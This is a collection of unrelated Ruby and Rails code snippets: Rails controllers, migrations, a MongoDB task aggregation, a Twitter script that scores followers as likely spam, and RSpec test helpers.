a.applicant_guardians.collect(&:mobile_phone).reject(&:blank?) guardian_phone_numbers << phone_numbers end guardian_phone_numbers.flatten end def self.applicant_guardian_email(applicants) guardian_emails = [] applicants.each do |a| emails = a.applicant_guardians.collect(&:email).reject(&:blank?) guardian_emails << emails.flatten end guardian_emails.flatten end def self.applicant_guardian_ids(applicants) g_ids= [] applicants.each do |a| g_ids << a.applicant_guardians.collect(&:id) end g_ids.flatten end end
module Charts class UnassignedTask prepend SimpleCommand def initialize(current_user, args = {}) @user = current_user @args = args @facility_id = @args[:facility_id].split(',').map(&:to_bson_id) @limit = args[:limit] end def call start_date = Time.current.beginning_of_month end_date = Time.current.end_of_month Cultivation::Task.collection.aggregate([ {"$match": { "facility_id": {"$in": @facility_id}, "assignable": true, "batch_status": Constants::BATCH_STATUS_ACTIVE, }}, {"$match": { "$expr": { "$or": [ {"$and": [{"$gte": ['$end_date', start_date]}, {"$lte": ['$start_date', end_date]}]}, {"$and": [{"$gte": ['$start_date', start_date]}, {"$lte": ['$start_date', end_date]}]}, {"$and": [{"$lte": ['$start_date', start_date]}, {"$gte": ['$end_date', end_date]}]}, ], }, }}, set_limit, {"$project": { name: 1, batch_id: 1, start_date: 1, end_date: 1, batch_name: '$batch_name', }}, ]) end def set_limit if @limit {"$limit": @limit.to_i} else {"$limit": {}} end end end end
class CarrersController < ApplicationController before_action :set_carrer, only: [:show, :edit, :update, :destroy] # GET /carrers # GET /carrers.json def index @carrers = Carrer.all end # GET /carrers/1 # GET /carrers/1.json def show end # GET /carrers/new def new @carrer = Carrer.new end # GET /carrers/1/edit def edit end # POST /carrers # POST /carrers.json def create @carrer = Carrer.new(carrer_params) respond_to do |format| if @carrer.save format.html { redirect_to @carrer, notice: 'Carrer was successfully created.' } format.json { render :show, status: :created, location: @carrer } else format.html { render :new } format.json { render json: @carrer.errors, status: :unprocessable_entity } end end end # PATCH/PUT /carrers/1 # PATCH/PUT /carrers/1.json def update respond_to do |format| if @carrer.update(carrer_params) format.html { redirect_to @carrer, notice: 'Carrer was successfully updated.' } format.json { render :show, status: :ok, location: @carrer } else format.html { render :edit } format.json { render json: @carrer.errors, status: :unprocessable_entity } end end end # DELETE /carrers/1 # DELETE /carrers/1.json def destroy @carrer.destroy respond_to do |format| format.html { redirect_to carrers_url, notice: 'Carrer was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_carrer @carrer = Carrer.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def carrer_params params.require(:carrer).permit(:name, :father_name, :mother_name, :string, :dob, :address, :email, :resume, :image, :signature) end end
class CreatePotentialPartners < ActiveRecord::Migration def change create_table :potential_partners do |t| t.string :studio_name t.string :person_to_contact t.string :contact_number t.string :email t.string :web_address t.text :how_did_you_hear_partner t.timestamps end end end
class AddQuerSpotPlaceToQuerySpots < ActiveRecord::Migration[5.2] def change add_column :query_spots, :quer_spot_place, :string end end
class ResponsibleBody::Devices::SchoolsController < ResponsibleBody::BaseController before_action :load_schools_by_order_status, only: %i[show index] def index @show_devices_ordered_column = lacks_virtual_cap? end def show @school = @responsible_body.schools.where_urn_or_ukprn_or_provision_urn(params[:urn]).first! if @school.preorder_information.needs_contact? redirect_to responsible_body_devices_school_who_to_contact_path(@school.urn) elsif @school.preorder_information.orders_managed_centrally? @chromebook_information_form = ChromebookInformationForm.new(school: @school) end end def order_devices @school = @responsible_body.schools.where_urn_or_ukprn_or_provision_urn(params[:urn]).first! end private def load_schools_by_order_status @schools = @responsible_body.schools_by_order_status end def lacks_virtual_cap? !@responsible_body.has_virtual_cap_feature_flags? end end
class CompanyController < ApplicationController include SetLayout before_action :find_organization before_action :check_iframe around_action :company_time_zone layout :company def prepare_calendar_options @start = Time.parse(params[:start]) if params[:start] @end = Time.parse(params[:end]) if params[:end] end private def company_time_zone Time.use_zone(@organization.try(:timezone) || Time.zone) do yield end end def get_worker @organization.workers.enabled.where(id: params[:worker_id]).first || @organization.workers.first end def find_worker @worker = Worker.find(params[:worker_id]) end end
require 'twitter' require 'twitter_oauth' require 'json' require 'time' require_relative 'oauth' def my_followers $client.followers(include_user_entities: true) end @force_unfo_list = [] def force_unfo(user, reason) puts "#{user.uri} #{reason}" @force_unfo_list << [user, reason] end KEYWORDS_BLACKLIST = File.read('keywords.txt').split def match_keywords(attrs) kwds = [] KEYWORDS_BLACKLIST.each do |kwd| kwds << kwd if attrs[:screen_name].downcase.include?(kwd) kwds << kwd if attrs[:name].downcase.include?(kwd) kwds << kwd if attrs[:description].downcase.include?(kwd) end return nil if kwds.empty? return kwds end def inactive_days(attrs) return 999 if attrs[:status].nil? nsec = (Time.now - Time.parse(attrs[:status][:created_at])) nsec / 60 / 60 / 24 end def examine(user) @score = 100 @reasons = [] @keywords = [] def punish(delta, reason = nil) @score += delta @reasons << reason if reason end attrs = user.attrs punish(9999) if attrs[:following] punish(10) if attrs[:url] punish(10) if attrs[:location] punish(-999, :protected) if attrs[:protected] and !attrs[:following] punish(-90, :def_avatar) if attrs[:default_profile_image] punish(-90, :no_media) if attrs[:media_count] <= 2 punish(-90, :no_tweet) if attrs[:statuses_count] < 10 punish(-20, :empty_bio) if attrs[:description].empty? punish(-20, :little_likes) if attrs[:favourites_count] < 40 punish(-20, :unlisted) if attrs[:listed_count] < 2 @keywords = match_keywords(attrs) punish(-51*@keywords.count, :keywords) if @keywords days = inactive_days(attrs) punish(-days, :inactive) if days > 5 { user: user, score: @score.truncate || 0, reasons: @reasons, keywords: @keywords } end def print_result(result) print "#{result[:user].uri}" print " #{result[:score]}" print " #{result[:reasons].join(',')}" print " #{result[:keywords].join(',')}" if result[:keywords] puts '' end results = [] my_followers.each do |fo| results << examine(fo) print '.' end puts results.sort_by! {|x| x[:score] } results.each do |res| print_result(res) end File.open('report.txt', 'w') do |f| $orig_stdout, $stdout = $stdout, f results.each do |res| print_result(res) end end $stdout = $orig_stdout
require 'spec_helper' require 'gnawrnip/screenshot' module Gnawrnip describe Screenshot do context 'Not support save_screenshot' do describe '.tale' do before do allow_any_instance_of(GnawrnipTest::Session).to receive(:save_screenshot) do raise Capybara::NotSupportedByDriverError end end it 'should raise Capybara::NotSupportByDriverError' do expect { Screenshot.take }.to raise_error Capybara::NotSupportedByDriverError end end end context 'raise unknown error' do describe '.take' do before do allow_any_instance_of(GnawrnipTest::Session).to receive(:save_screenshot) do raise Timeout::Error end end context 'timeout' do before do now = Time.now allow(Time).to receive(:now).and_return(now, now + 3) end it 'should raise Timeout Error' do screenshot = Capybara.using_wait_time 2 do Screenshot.take end expect(screenshot).to be_nil end end end end context 'success screenshot' do describe '.take' do before do expect(Screenshot).to receive(:shot).once end it { Screenshot.take } end end end end
module ControllerMacros def login_user(user=nil) let(:current_user) { user || create(:user) } before :each do session[:user_id] = current_user.id end end def login_student let(:current_user) { create(:student) } before :each do session[:user_id] = current_user.id end end def login_agent let(:current_user) { create(:agent) } before :each do session[:user_id] = current_user.id end end end